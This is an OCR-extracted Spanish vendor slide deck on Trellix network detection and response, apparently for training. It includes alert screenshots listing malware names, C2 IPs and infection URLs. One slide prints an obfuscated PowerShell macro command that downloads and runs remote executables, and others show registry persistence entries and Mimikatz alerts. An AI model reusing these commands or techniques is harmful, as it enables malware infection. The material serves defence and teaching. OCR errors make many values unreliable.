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Ponga atencidn a las siguientes instrucciones....

Sileqciar los N
teléfonos Banos

=mo
—=_Jo
cllmo

Silencie o apague sus Los banos se
teléfonos inteligentes encuentran
y otros dispositivos antes de la
electronicos para recepcion a su
minimizar las derecha.

distracciones durante
la presentacion.

TrelliX

Antes de comenzar

Salidas de
emergencia

Familiaricese con las
salidas de emergencia
Mas cercanas, ubicadas

justo antes de Ia

recepcion a su izquierda.

En caso de emergencia,

siga las senales de salida

y dirijase con calma a la
salida mas cercana.

Use the following WIFI:
SID: to_be_defined
Password: to_be_defined

Q&A

%

Tendremos una
sesion de
preguntasy
respuestas al
final de la
presentacion.
Por favor, guarde
Sus preguntas
hasta entonces.

Horarios

Se espera que la
sesion dure
aproximadament
e
3 horas con un
descanso de 30

min.




Plataforma Trellix impulsada por IA
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Flujos de trabajo integrados y experiencia unificada

L
Engine
Deteccidn y priorizacién Correlacion multivectorial Contextualizacion y enriquecimiento
Automatizacién y orquestacion Respuesta guiada Threat Hunting & Forense

Analisis y normalizacién de datos Data Lake & Search Open API Framework

Security Controls

st ;(.:a:

Endpoint Network Collaboration Integrations

Agente Modular Singular
Managed

Partners . o
Inteligencia
Al + Centro de Investigacion Avanzada + Inteligencia de amenazas operativas

TrelliX



Desafios en la red actuales
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Seguridad Atacantes Investigacion
Puntos ciegos persistentes es complejas

Activos en crecimiento: Ataques recurrentes Alertas ignoradas:

133% 43% 35%

rganizaciones afectadas por ransomware Analistas de seguridad que dicen que las
or n

i do son muchas

Aumento del numero de activos a proteger 4
se vieron afectadas mas de una vez alertas se ignoran cua

69% de las organizaciones informaron de activos desconocidos y mal
gestionados en la red
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“Los productos de deteccion y respuesta de red (NDR) detectan
comportamientos anormales del sistema mediante la aplicacion de analisis
de comportamiento a los datos de trafico de red.

Analizan continuamente los paquetes de red sin procesar o los metadatos de
trafico entre las redes internas (este-oeste) y las redes publicas (norte-sur).

Los productos NDR incluyen respuestas automatizadas, como la contencion
del host o el blogqueo del trafico, directamente o mediante la integracion con
otras herramientas de ciberseguridad.

NDR se puede entregar como una combinacion de dispositivos de hardware
y software para sensores, y una consola de administracion y orquestacion en
forma de softwarelocalio 5aasS/-

Gartner Research

Applying Network-Centric Approaches for Threat Detection and Response

TreliX



cQué es NDR?
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NDR evolucionado a partir de la seguridad de red

La deteccidon y respuesta de red (NDR) actual tiene una larga historia, que evoluciond a
partir de la seguridad de la red y el analisis del trafico de red (NTA). La definicidon historica
de seguridad de red es utilizar un firewall perimetral y sistemas de prevencion de
intrusiones para filtrar el trafico que ingresa a la red, pero a medida que la tecnologia de Tl
y seguridad ha evolucionado, la definicion es mucho mas amplia ahora debido a los
ataques modernos que aprovechan enfoques mas complejos.

Hoy en dia, la seguridad de la red es todo lo que una empresa hace para garantizar la
seguridad de sus redes y de todo lo relacionado con ellas. Esto incluye la red, la nube (o
nubes), los puntos finales, los servidores, el |oT, los usuarios y las aplicaciones. Los
productos de seguridad de red buscan utilizar medidas preventivas fisicas y virtuales para
proteger la red y sus activos contra el acceso no autorizado, la modificacion, la destruccion
y el uso indebido.

TrelliX
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Alternativas del cliente

Confiar en la seguridad de @
red tradicional NGFW e IPS

Aprovechar un SIEM para la
consolidacion y correlacién
de eventos y registros

Centrarse en EDR y XDR para la
detecciéon y la respuesta

Utilice un NDR de deteccién de
comportamiento puro: Extrahop,
Vectra, DarkTrace, etc.

Aprovechar la cartera de un
fabricante: Cisco, Fortinet, PAN,
etc.

y
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El enfoque de Trellix

Elimina los puntos Interrumpe a los Acelere la
ciegos atacantes en cada investigaciéon y la
* No solo el perimetro - etapa respuesta
N/Sy '_E/W * No solo un compromiso * Priorizaciony
* Visibilidad en entornos inicial enriguecimiento de
locales/cloud/hibridos « Enfoque basado en ML alertas
. Detecc;ién y supervision multicapa « Ambito del impacto de
de activos » Deteccion de amenazas los ataques
conocidas, desconocidas * Investigacion guiada y
y emergentes flujo de trabajo
* Respuesta basada en la
red

Basado en un legado de innovacion en la detecciéon de amenazas de red

y la investigacion de inteligencia de amenazas
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Network Detection and Response (NDR)

La proxima evolucion en seguridad para redes empresariales

Sandboxin Q Network
g Sensors

——) Firewalls

Network Detection &
Response (NDR)

y

O web

Proxies
Packet Capture OT Sensors

» Enfoque: Deteccién, investigacion,
busqueda y respuesta a amenazas
avanzadas

TreliX

Arquitectura NDR modernay
totalmente integrada

Complejidad reducida

Mitigacion en linea en tiempo real
Investigaciones simplificadas
Aumento de la eficacia de la mision

Reduccion de los costes operativos
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Elimine los puntos ciegos

Visibilidad de seguridad ampliada: Logre una r %
visibilidad mejorada en centros de datos, nubes %@ Cloud [ 5

its  Muyg;.
?J’*p\o“ Ultl~sz.a

G}P“’“ Va’iahts
Known gxplo™

o . X
hibridas, sucursales y campus corporativos. N W ; o s,
. e % g \I“\&‘

Cobertura Integral: Garantiza la supervision del o o o,

i

trafico de red N/S (Norte/Sur) y E/W (Este/Oeste),
fundamental para detectar movimientos laterales

E“p\oit Varia,n\s
Known gxplot®®

y otros vectores de ataque sofisticados. £ e,
e e . - 5 o Stched S . e
Descubrimiento avanzado de activos: Identifica : : D Ae o &,, f . i
oo . 2 8 v s loud &
y clasifica los activos dentro de la red, lo que 5 ¢ RS = o o 1o ou 5
oy ., ., . Ploi; ext =3
facilita una comprension y gestion integrales de -
"5*;- Ago qei‘é\#

los recursos de la red.

Se integra a la perfeccion con la seguridad de red de Trellix(IPS, NX, PX, IVX)
TreliX




-Acelerar la investigacion y respuesta

~

Alta fidelidad, basada en amenazasy respaldada por |IA para un flujo de
trabajo SOC eficaz

Investigation

Threat Detection Asset Discovery

ML/AI, analisis de La deteccidon de El enriquecimiento PCAP basado en Agilice las respuestas
comportamiento, dispositivos, |a automatizado con eventos, metadatos con XDR, manuales
disparadoresy reglas toma de huellas informacion sobre L7 y visibilidad de de estrategias SOAR
expertas detectan dactilaresy la amenazas, técnicas datos de flujo parala e integracionesde
amenazas MITRE, analisis y busqueda, guiadosa sistemas de emision

creacion de perfiles
de riesgos
permiten la
creacion de perfiles
de objetivos

Trellix WISE acelera  través de Trellix WISE de tickets
las investigaciones

emergentes en toda
la cadena de muerte

Provides visibility and alert priority to respond quickly




Deteccion de amenazas 1/2

Seguridad perimetral Deteccion y respuesta de red Trellix
de red tradicional

Escalacion d/e

privilegios

Reconocimiento Acceso inicial Acceso a
credenciales

Signatures Dynamic Analy5|s TTP-based ML Modules

Reglas de correlaciéon

Aprovechar multiples enfoques de deteccion e |IA

TrelliX



NDR: Deteccion de amenazas 2/2

Seguridad perimetral
de red tradicional

Reconocimiento

* Multi-flow,
multi-vector
execution

* Reconnaissan
ce attack
detection

* Signature-
based
intrusion
prevention

* Domain and
URL blocking

* Full protocol
analysis

* Phishing
detection

TreliX

Acceso inicial

* Behavioral
malware
detection

» Zero-day
attacks

* Malware
emulation

* Riskware

* OQutbound file
scanning

* Remote code
execution
detection

Deteccidén y respuesta de red Trellix

Escalacion de
privilegios /
Acceso a
credenciales

Comando y
control

* “Pass the * Network * Beaconing
hash” mapping detection
detection * Host and * Malware

* Detect tools service callbacks
used for enumeration - Web shell
credential + User hunting detection
and password to identify - Traffic
dumping high anomaly

* Fileless value admin detection
malware rights S TLS
for extracting fingerprint
credentials .

anomalies

e |oT callback
detection

* ML exfil
module
detects
unusual file
transfers

* Signature-
based exfil
detection
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Detectar lo
Indetectable

INTELLIGENCE

(=) DRIVEN
Inteligencia con
tecnologias avanzadas
< » SMARTVISION

Detecta trafico de red
lateral sospechosoy
exfiltracion de datos

o
-]

MULTI-OS SUPPORT

fg Detiene las amenazas
dirigidas a Windows,
Linuxy OS X

TreliX

p

Network Security (NX)

inversiones mas
eficientes

HIGH FIDELITY
ALERTS

Pocos falsos positivos
para enfocarse a las
alertas que importan
FLEXIBILITY
Escalable de 50 Mbps
a mas de 20 Gbps+ en
multiples factores de
forma

ORCHESTRATION
Cambia a Network
Forensics o Helix
Platform para
automatizar tareas

Proteccion a través de
Global fingerpint de Trellix

)

L @

DYNAMIC THREAT INTEL
Proteccion automatizada
de amenazas detectadas
en todo el mundo

BREACH EXPERTISE
Inteligencia aplicada
desde la primera linea

ATTACKER INSIGHT
Conocimiento
profundo de las
tacticas, técnicasy
procedimientos del
atacante
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oroteccion

DYNAMIC THREAT INTELLIGENCE

Content Updates - Signatures/ Threat

Feeds

Cloud Assist — Cache for File & URL

A sis
Cloud Assist - Fil boxing & Analysis

STATIC
ANALYSIS

IPS
Proprietary/Custom Signatures (Snort, E::@gé
YARA)

Static Network Rules/Blacklists

Antivirus + Malware Guard . .
Multi-Flow Analysis

Web Shell Detections

Server-Based Vulnerabilities

URL-based Phishing Attacks (Cloud-
Assisted)

Malware Binaries Check (Cloud-Assisted)

TreliX

Multi-Vector Execution
(MVX)
Web Infection
Riskware
Callback Detection

MACHINE
LEARNING

Analytics Rules
Lateral Movement
Data Exfiltration
Beacon Detection
Malicious C2
Communications

viotores de deteccion y

VISIBILITY

Protocol Application and
Visibility

Metadata Generation
loT Visibility

TLS/JA3 Fingerprinting
Endpoint Correlation




TrelhX

Network Security (NX)

Opciones de despliegue
Funcionamiento

Alertas

Vistas

Cambios en el OS



Opcmnes de despliegue

Cloud laaS aws

Cloud saas TrelliX @ iboss
On-Premise Virtual vNXVTTlWaFg AKVM 58 Ayperv
Cloud Virtual VX dWS sare Metal

VIRTUAL AND SAA

Enterprise 5600 NX
4600 NX 52
R AT T | A NX 6500
u u i L vy
NX 5500
[ |
Sma!l to L] ﬁ = — 12600 VX
Medium - A NX 4500 NXS 8500V
Enterprise am 78 S— -
1 | ; NX 3500 VX 12550
am o A = é - . NXS 7500V i
.:x v NX 2550 —
- A 500 — . NXS 6500V o YX5500 « ond
o LS, - : e

Distributed NXS 4500V \J\/\S
Enterprise NX1500 NXS 2500V W

NXS 2550V

NXS 1500V

ON-PREMISES HARDWARE
50 [N/A] 100/250 500 [250] 1000 [500] 2 Gbps 5 [2.5] 10 [5] 20[10]

Tre"lx Mbps [50/100] Mbps Mbps Mbps [1 Gbps] Gbps Gbps Gbps

Network Smart Node [Integrated NX] Bandwidth



‘Multi-Vector Virtual Execution (MVX) Engine

Infeccidny
Reglas de callbacks

Trafico
sospechoso

TreliX
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TrelliX

Capturar
Deteccion de anomalias

Confirmacién
Analisis del motor
MVX

Generacién
dereglas
Dia cero

Seleccidn y analisis de objetos

> TR ] e J L\] <>

% HTML

Fast-Path Filter

Static ~Dynamic Analysi
Analysis —i

Parallel Execution Environmentgd

DTI Cloud

Intelligence

Rule Generator




'‘DTI (Dynamic Threat Intelligence)
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Uso compartido local disbositivos Global Sharing

Network
Security

Central Management
System

-

Minutes

Internal Feedback Loop

Ei Jﬁ

Centrally-managed appliances

TrelliX
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Alert Type

Infection Match
Web Infection
Malware Object

Domain Match

Malware Callback

TrelliX

Phase

Exploit Phase

Exploit Phase

Exploit Phase

Callback Phase

Callback Phase

Network Security Tipo de alerta

Description

Coincidencia de URL para una URL maliciosa conocida.

El contenido malicioso explota una vulnerabilidad en un
navegador web.

Se ha detectado y analizado una carga ejecutable maliciosa.

Un sistema realiza una consulta DNS de un dominio malicioso
conocido.

Un sistema crea un GET o POST no basado en DNS
directamente a una direccién IP.
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/70 11V NN

Web MPS: Hosts as 0f 08/28/2017 17:47:56 Etc/UTC &

Hosts [19] Alerts Callback Activities

Date Range: 08/28/2016 17:47:56 - 08/28/2017 17:47:56 (Past 1 Year) Events: Hide Acknowledged ® CLEAR ALL

T Viewing 11907 19 s
Host Severity Total Infections Callbacks Blocked Last Malware :‘S:E?e’m at Last Ack at (UTC) Host Name Badges Actions
0.129 0001 14 3 3 Trojan.Qbot 08/24/17 23:03:13
10.240.10.148 [ 1 1 1! 7 6 1 1 Ransomware.Cerber 08/24/17 16:46:46
70 [ 1 11 106 6 40 ] Trojan.Downloader. Tipikit.C 08/18/17 20:58:03
192.168.3.35 [ 111 16 2 14 1] Exploit.Kit. TDS 08/07/17 15:08:53
10.100.9.175 [ 111 4 ] 4 ] Ransomware.Downloader Urausy | 08/07/17 15:08:20
10.240.10.128 20 20 ] ] Trojan.Golroted 08/04/17 16:20:18
10.240.10.192 1 1 ] ] Malware.archive 08/04/17 16:12:57
10.240.10.144 5 5 ] il Ransomware.Downloader.Cerber 08/04/17 15:00:46
10.240.10.125 6 6 ] ] Malware.archive 08/04/17 14:35:23
10.240.10.149 10 10 ] ] Ransomware.)aff 08/04/17 14:35:21
192.168.3.65 (T Y 1] 8 3 5 0 Trojan.Refros.MVX 08/03/17 17:54:51
10.0.0.55 [ X 1 1! 7 6 1 ] JavaExploit.Payload 08/03/17 17-54:31

TrelixX 28
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istas alternativas

Alertas

Hosts Alerts [186]

Date Range: 12/16/2021 20:36:15 - 12/17/2021 20:36:15 (Past 24 Hours)  Alerts: Hide Acknowledged Alert Traffic: Al CLEAR ALL ACTIONS v

T Viewing 1-20 of 186 Alerts
Results per page:

Alert Type D Flle Type Malware Severity Time (UTC) ~ Victim IP Attacker IP URL th
. : . 105 22 HEX
O (+) Malware Object 218024 dual FE_Webshell_PHP_Generic_1 12/17/21 19:54:09 22Q¥6QBeFj3dsfDfbdkUeTBHGeu.php s
O nfection Match 1010591 12/17/21 19:22:10 http://portal.sfo.training.fireeye.com/
oo
O Malware Object 218020 rf FE_Exploit_RTF_Generic_1.FEC2 12/17/21 18:13:58 badboy.sfo.training fireeye com/3b4ffabcfd476. A .h ===R=l] HEX l.l
O nfection Match 1010576 Local.Infection 1217/21 18:11:26 http://badboy.sfo.training.fireeye.com/3b4ffabc...
Callback Activities
Hosts Alerts Callback Activities [181]

Date Range: 09/22/2021 17:11:16 - 12/22/2021 17:11:16 (Past 3 Months)  Events: Hide Acknowledged CLEAR ALL

Y Viewing 1-20 of 181 callback-activities
Results per page:

C&C Server Location Events Hosts Last Seen at (UTC) ~
@ 148.251.234.93 DE 8 7 12/15/21 12:47:03
® 198.49.23.176 us 3 2 12/21/21 08:06:20
@ 198.49.23.177 us 1 1 12/21/21 08:02:04
O 198.185.158.177 us 2 1 12/16/2113:22:57



Analisis de artefactos

~
N
Alerts As of 12/17/2021 20:36:15 Exc/|
s | are e Artifacts Description ®
Date Range: 12/16/2021 20:36:15 - 12/17. -
T Viewing 1-20 of 186 Alerts A Malicious List of malicious alerts triggered during analysis
Alerts ? S A
Alert Type ID i QS Change Graphical view of OS change events
Graph
O \.t Malware Object 21802 H EX
2:2] 0S Change Table view of os change events. First column shows the type of event, second column shows
O (| Maware Object 21802 Table mode of event along with the number of times it is seen, and third column shows all values HEX
for the event
O nfection Match 10105 om/websso/s...
<> Macro Extracts Macro (if exists) in doc/docx/docm samples
O nfection Match 10105 om/Zx=4%{jndi:|
= Floss The FireEye Labs Obfuscated String Solver (FLOSS) is an open source tool that automatically
0 Malware Object | 21302 detects, extracts, and decodes obfuscated strings in Windows Portable Executable (PE) files. h4tfabcidaTe. A L EEEEHEX N
[z4l  Screenshots Screenshots of important events of submission -
[} Malware Object 21801 4014228122586 A h‘:‘i @ ol HEX III
& Faude Faude screenshot
Screenshot
[} Malware Object 21301 530e57114155 A F:'l @ EE HEX III
Y PEParser PE Parser
O nfection Match 10105 Er‘:‘, Gen Obj Hash  Hash of file com/3b4ffabc...
Hex Hex Hexadecimal view of file
W mitre Mitre Att&ck Mapping
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® Back to Alerts
Alert Details

11490

summary
Bot Communication Details

Callback communication
observed from VM

Infection URLS

05 Change Details

Microsoft WindowsXP 32-bit 5.1
sp3 16.0901

Summary

Malwar4 B Exploit.Browser I

VXE Callback M Trojan.Downloader.Tipikit.C
W Trojan.Downloader.Tipikit
B Malicious behaviour observed

v Bot Communication Details

~ Callback communication observed from VM

Alertas de infeccion web

DOWNLOAD

Victim IP
Victim Port

Src MAC
Address

10.101.11.101
30
00:00:00:00:00:00

Orig. Traffic Captures
VM Captures

ID
Distinguisher(UUID)

URL

[1lpcap 831222 bytes (text)
[1lpcap 53831 bytes (text)

11490

52b10c45-5bb2-4das-916a-d
06e0e37fe6d
1-2times.com/check/n1404
1.htm

~ Infection URLs

Url

1-2times.com/check/n14041.htm
enterinmind.com/check/vers195.php?g=1
58.65.239.115/check/wlhiwez.php

gatedtraff.net/t/24702372¢

Occured

08/07/17 15:13:49

08/07/17 15:13:49

08/07/17 15:13:49

08/07/17 15:13:49

Content Type
text/ntmi
application/exe
text/htmi

text/htmi
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® Back to Alerts
Alert Details

823

summary
Bot Communication Details

Callback communication
observed from VM

Download Source Headers

0OS Change Details

5.1

Microsoft WindowsXP 32-bi
sp3 16.0901

0S Change Details
Microsoft Windows7 32-bit 6.1
sp1 16.0901

Summary
Malware M Malware Binary.pdf
VXE Callback M Ransomware.Downloader.Locky
Application Multiple Adobe Reader X
Type
File Type pdf
Builtin AV M PUAPdf.Trojan.OpenActionObjectw
ithjavascript-1
W Malicious behaviour observed

Endpoint Details

Alertas de objetos de malware

m DOWNLOAD REQUEST CONTAINMENT

IP Protocol TCP
10.240.10.154
Victim Port 80

VM Captures

Victim IP

1D
TargetIP 172.78.135.34 .
Distinguisher(UUID)
Src MAC  (00:00:00:00:00:00
Address Malware Hash
Dst MAC 00:00:00:00:00:00
Address Archived Object

[1]1Get pcap file
[2]Get pcap file
823

25203695-f9f6-4cbf-8c1b-bd
Ad361bde2f
a7f3195f6f89eh38785fe 1062
3124709
4c6643329f0e2b180ccc9523

Status Endpoint Compromised Recent Alert
Domain WORKGROUP 05 Wwindows 7 Enterprise 7601 Service Pa
IP Address 10.240.10.154 k1
Event ID
Triage Package not available
~ Bot Communication Details Collection

>

Server DNS
Name

zhongjianbao.com

Callback communication observed from VM

Server DNS
Name

199 .3003000.X

Direction Command

Service Port 53

Service Port 80

Last Seen At 08/29/17 16:11:26

Last Seen At 08/29/17 16:11:26

User-Agent Host Connection

Ransomware.Downl
oader.Locky

Signature Name

Ransomware.Downl
oader.Locky

Signature Name

Pragma Others




‘Detalles de la alerta Cambios en el sistema

-operativo: Vista grafica

N

Graphical Event Distribution

Analysis Start

App Name:
massum: e4Ec0f

% +Malicious Alerts

explorer.exe explorer.exe

Proc 2528 Prace:

i Processstartsd Process started

payment.exe
e payment.exe

Process |D: 3502
Process ID: 3852

+Malicious Alerts

Hetwork Actlvity

Flle Activity

Metwork Activity

File(s) failed

dns_quel OWBALOG.DLL

dns_query

AP Sieep

+Malicious Alerts

TreliX




‘Detalles de alerta de cambios en el sistema

operatwo* Vista de distribucion de eventos

05 Change Details | Items: 05 Info: Microsoft Windows7 64-bit 6.1 sp1 17,0108 raphica

Graphical Event Distribution

Event Distribution Event Name

e g o)
Malicious Alert Api Call Uac
B
D - N\

Application Pl
- Action Fopen Ascii
Process Started CAWINDOWS\system32icmd.exe 3732 2840
Parentname: C:\Program Files\Office\OFFICE1 1\EXCEL.EXE
Malware Command Line: CMd exe /c "prow"Ers*helr* efxer -nOM -NorNItNEh -WAINdOws™
i atc Analyst Wessage: Statc Binal 1 -NoprOFlle® -ex*Echu BAYpahShs -Wit 1 -NAOAPr $random = Niew-"O A jercth
Jcati Sy*strem.“Ran~do”m; Fotrea®ch($um in @{{http://berurn.com/videos.exe},
‘ ame: windl {htp://rejmed.czitmp/visa.exe})) { thry { $1g = $ra”n~do”m.n e"x1(0, 61132); Spp =
ersion: 1681 BUI "Wappdatato\ + ng = exe’ M netw-"ob"jecht
shyshtherm.n erth webclifent)t DAowrnltotad ARt e(Su m.To5tring(), $pp); Sthatrt-
Ui - ! . APrigcenss Spp; brretak; } chathch { WrAithe-HoMst $errhor[0] EAxAcepititon } ¥
Service el MD5: 6d778e0f95447e6546553eeea709d03c
arvice S SHAT: N/A
acton Fope x
proces File Open C 3732
Process Opened Source: C\Program Files\Office\OFFICET1\EXCEL.EXE 2840
Target: CAWINDOWS\explorer.exe 1300

Ti -




Malware Callbacks

/

/
/
7
-
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@® Back to Alerts
Alert Details

1233 Summary
Callback W Local Callback
- Y
Interface netwerk A (mode inline
port A2)
Related Network Activity Blocking Action Blocked

Set Sig Name  Local.Callback

Blocking Policy
Set Sig ID Blocking for 20005774
Policy

NP P I,
INO ACTIO

Callback communication from infected host

Server DNS 195, xx.xxX Service Port
Name
Location US/IL/Chicago
DirectionCommand

TreliX

IP Protocol
Victim IP

Target IP

Src MAC Address
Dst MAC Address

User-Agent

MANAGE POLICY EXCEPTION DOWNLOAD

TCP Communication [1]pcap 536 bytes (text)

0.240.10.129 Captures
1ac 1D
195, %%, XX. XXX
Ge b7 IXNINK XD o Distinguisher(UUID)
DA XX XN INN XX URL

Last Seen At 08/24/17 23:03:1 Signature Local.Callback
5 Name

Host

Connection Pragma Others
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Alertas de SmartVision

/701 1TV NNNNS

Y Date Range: 08/31/2017 03:38:44 - 09/07/2017 03:38:44 @ Severity: all @
D I NAME I3 TYPE L2 TIME I SOURCEIP | DESTINATION IP I SEVERITY 1i SCVersion

> g Mimikatz Activity Detected Mimikatz Activity 09/05/17 10:40:12 172.168.99.199 172.168.99.101 9 626.320
> 7 EXE File Write To C$ Share Over SMBv2 TCP Port 139 Remote EXE Copy 09/05/17 10:37:34 172.16.63.222 172.16.63.202 6 626,320
> 6 EXE File Write To C$ Share Over SMBv2 TCP Port 445 Remote EXE Copy 09/05/17 10:35:32 172.16.63.222 172.16.63.202 6 626.320
> 5 EXE File Write To Admin$ Share Over SMBv1 TCP Port 445 Remote EXE Copy 09/05/17 10:34:32 172.168.0.3 172.168.0.254 6 626.320
v 4 PtH attack using remote AT Exec Remote Execution 09/05/17 10:33:46 172.168.0.3 172.168.0.2 5 626.320

DETAILS

Signature ID 91500000 Name PtH attack using remote AT Exec

Type Remaote Execution Severity 5

Created Time 09/05/17 10:33:45 Source IP 172.168.0.3

Destination IP 172.168.0.2 Source Port 43520

Destination Part 445 Protocol wp

Related Network Activity Download View Graph Base Events Count 5
Base Events r ( )

5 ITEMSw | | PacE1 (1]
NAME SOURCE IP TIME
> 5MB Create Request: Delete file in Windows temp direcory 172.168.0.3 09/05/17 10:33:47

N SME Create Reayest Eile in Windaws temn direcory 172.168.0.3 09/05/17 10-22-46



‘Riesgo de alertas e implicaciones de
seguridad

Network Security
Alert

Infection Match
Web Infection
Malware Object
Domain Match

Malware Callback

TrelliX

Helix Risk

Low (pale blue)
Medium (yellow)
Medium (yellow)
Low (pale blue)

Critical (red) eece

Impact

*Observar/Investigar
Investigar

Investigar

Observar

Contener

y



Detalles de la alerta Cambios en el sistema

operativo

* Network Activity
* Processes

* File Activity

* Registry Activity

TrelliX

« Code Injection
* Mutex Objects
* Browser Settings and History

Event Distribution Event Name
\ Config Update
\ PN
\O_) Application N F
\ P'jj y A —4 g A
> 4 = Mali
Reg \ " New Dialog Popup Ll 5
A Mutex Api Call
Rpid Mem O Keyloggerd d \
hcd Wmiquery




Procesos
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Process Opened Source: ChDocuments and Settings\adminilocal Settings\Temp'ser.exe 3760
Target: CAWINDOWS\explorer.exe 1300

Thread Create Thread Source: ChDocuments and Settings\adminilocal Settings\Temp'ser.exe 3760
Target: CAWINDOWS\explorer.exe 1300

Codeinjection DIl Injection Source: ChDocuments and Settingshadmintlocal Settings\Temphser.exe 3760
Target: CAWINDOWS\explorer.exe 1300

Malicious Alert Code Injection Message: Code injection detected

Activity

TreliX
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Folder Created
File Created
Malicious Alert Suspicious

Directory

File Created

File Date Change
File Copy Timestamp
File Date Change
File Copy File

TreliX

Actividad de archivos

CAWINDOWS\spynet
CAWINDOWS\spynetiserver.exe

Message: File created/tampered/deleted in suspicious location

one ldentifier

m

fd

A OWS\spynetiserver.exe:
CAWINDOWS\spynetiserver.exe
AWINDOWS\spynet\server.exe: Zone Identifier
CAYWINDOWS\spynetiserver.exe:Zone ldentifie
AWINDOWS\spynet\server.exe: Zone Identifier
CAYWINDOWS\spynetiserver.exe:Zone ldentifie

Wd5: focct14d504b7 b2 Sadbday5bd9a3

Md5: foccf14d50407 b2dbcb5a5bda?5bdd3b

Shal: d59fcB4cdd521 7cbcf74785703655f78da6b5 820
AW OWS\spynetiserver.exe
CAYWINDOWS\spynetiserver.exe
CAWINDOWS\spynetiserver.exe

Wd5: 9e04a788281 c727566873d9df263aec!
Shal: 77adc1al0320ae36e1 7bc10da21albB8d420f34b0

3760

3760

—
3760

3760

3760

3760

3760

593507

593507




‘Actividad del Registro
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Regkey Added \REGISTRVWMACHINE S oftware\MicrosoftuWindows\CurrentVersion\Policies\Explore | 3760
rRun

Regkey Senval \REGISTRWMACHINEVSOFTWAREWMICr
rer\Buny"'Policies” = CWWINDOWSY

softiWindows\CurrentVersion\peolicies\Explo | 3760
Net\server exe

Regkey Added WREGISTRYWISERNS-1-5-21-1409082233-688789844- 72534554 3- 3760
1003 \SoftwareiMicrosoftwWindows\CurrentVersion\Policies\Explorer\Run

Regkey sewval WREGISTRYWISERNS-1-5-21-1409082233-688789844- 72534554 3- 3760
1003 \SoftwareiMicrosoft\Windows\CurrentVersion\Policies\Explorer\Run\"Policies”
= CWWINDOWS\spynetiserver.exe

Regkey Setval \REGISTRVMACHINEVSOFTWAREW icresoft\Windows\CurrentVersion\Rum\"HKLM" 3760
= CWWINDOWS\spynetiserver.exe

Regkey Added WREGISTRYWISERNS-1-5-21-1409082233-688789844- 72534554 3- 3760
1003\Software\MicrosoftWindows\CurrentVersion\Run

Regkey Setwval WREGISTRYWSERNS-1-5-21-1409082233-688789844- 72534554 3- 3760
1003\Software\MicrosoftWindows\CurrentVersion\Run\"HKCU" =
CAWINDOWS\spynetiserver.exe

Regkey Added \REGISTRVMACHINE\Software\Microsoft\Active Setuphinstalled Components) 3760
{0BBOES)F-4FCE-11CF-AAAS-00401 CaXX500}

-I Regkey sewval \REGISTRVWMACHINENSOFTWARE\Wicrosoft\Active Setupiinstalled Componentsh 3760

{08BOES)F-4FCB-11CF-AAAL-00401 CEXXE00N " StubPath" =
CAWINDOW S eovwnet\server exe Restart




/
/
/
s
'
-
~
~
N

Codeinjection
Codeinjection

Mutex

First Rpid Mem Op

Codeinjection

Codeinjection

TreliX

DIl Injection

Direct Code
Injection

Read Virtua
Memory

Started

Chained DIl
Injection

Chained Direct
Code Injection

Target: C:

Target:

Inyeccion de cédigo

Source: CADocuments and Settings\adminLocal Settings\Tempiser.exe
WWINDOWSexplorer.exe

Source: CADocuments and SettingsiadminiLocal Settings\Temphser.exe
NINDOWS\explorer.exe

\BaseMamedObjects\**MUTEX***_PERSIST

Source: ChDocuments and Settings\adminiLocal Settings\Temphser.exe

Target: NFA

CAProgram Files\internet Exploreriexplore.exe

Parentname: CA\Documents and Settingstadmintlocal Settings\Temphser.exe
Command Line: "CAProgram Files\internet Exploreriexplore. exe”

MD5: be0dddd2d63ced chBcdBTfcfbbE419e

SHAT: eadce51c88c8261852c1903399dde742fba2 0610

Source: CADocuments and Settings\adminiLocal Settings\Temphser.exe

Target: C:\Program Files\internet Exploreriiexplore_ exe

Source: CADocuments and SettingsiadminiLocal Settings\Temphser.exe

Target: C:\Program Files\internet Exploreriiexplore_ exe

3760

1300

3760

1300

1300

3760

3932

3932

3760

3932

3760

3932

3760 638816
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Mutex
Mutex
Mutex
Mutex
Mutex

File

Mutex

TreliX

‘Objetos de exclusion

Eaferlerr'e Objects\CTF.LBES. MutexDefaults-1-5-21-1409082233-688789844-
25345543-1003

Eaferlerr'e Objects\CTF.Compart MutexDefaults-1-5-21-1409082233-688759844-

25345543-1003

Ea..eHerr'e Objects\CTR.Asm. MutexDefaults-1-3-21-1409082233-688789844-
25345543-1003

'EEI.;-E”EIT‘E"‘C':IE'IE'-.C_F._a:-,"D_.:"”LpT.EJDETElLll -1-5-21-1409082233-688789844-
253455431003

'EEIS-ET‘JEIT‘E'"GD ects\CTF. TMD MutexDefaults-1-5-21- 14090822 33-688759844-

25345543-1003
Failed CAProgram Files\internet Exploren\SETUPAPLd
\BaseNamedObjects\CTF.TimListCache FMPDefaults-1-5-21-1409082233-

DEE 789844-725345543-1003MUTEX.Defauls-1-5-21-1409082233-658789844-

25345543-1003

3932

3932

3932

3932

3932

3932

3932
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Network Forensics

Alto rendimiento de I
> Analisis de datos
capturade -@y de alta fidelidad @ Crececonlared

/01T VAN

paguetes
LOSSLESS PACKET CAPTURE ULTRAFAST SEARCH EXTENSIVE VISIBILITY
Vital para la eficacia de las Arquitectura de indexacién Unica Decodificador de sesién con una
investigaciones forenses en la red para respuestas rapidas gran variedad de protocolos y
tipos de archivos
HIGH-PERFORMANCE INTEGRATED INTELLIGENCE FLEXIBLE PLATFORM
Velocidades récord de hasta Adicidn de contexto Se adapta a las necesidades de las
20 Gbps enriquecido a los IOC y las grandes empresas distribuidas
alertas
INTELLIGENT CAPTURE EASY DRILL DOWN THREAT HUNTING
Filtrado selectivo de paquetes Responda rapidamente a las Realizar analisis y busqueda
para una maxima eficiencia alertas que importan retrospectiva de amenazas

TreliX
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Intrusion Prevention System (IPS)

Potente protecciéon con inspeccion profunda de paquetes
* Evita la incursién inicial
+ Evita el tréfico DoS, DDoS, C&C y la exfiltracion

* Proporciona parches virtuales que evitan la explotacién de
vulnerabilidades

Visibilidad de alto rendimiento Informes a través @
de sensores de
« 100% de visibilidad SSL red a la consola
centralizada
* Visibilidad y analisis de L7 Trellix
* Rendimiento de 100 Gbps para trafico de red norte-sur de alta carga IPS
Arquitectura Superior EEE [Eem———
* Rendimiento de 300 Gbps para trafico de red norte-sur de alta carga “‘;O;SSQQCQ'JQS
viajan a través de
*  Modelo de implementacién de alta disponibilidad y conmutacion lared

por error multiple

Nubes privadas, publicas e hibridas seguras

TreliX

Busca actividad
maliciosa con una
inspeccion
profunda de
paquetes de red
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DPI bpsado
en firma

User-defined,
custom, Snort
Signatures

STIX Allow
list/block list

TreliX

Reputacion
de
amenazas

TIE / Global
Threat
Intelligence (GTI)

File, IP, and URL
reputation

Analisis

profundo de

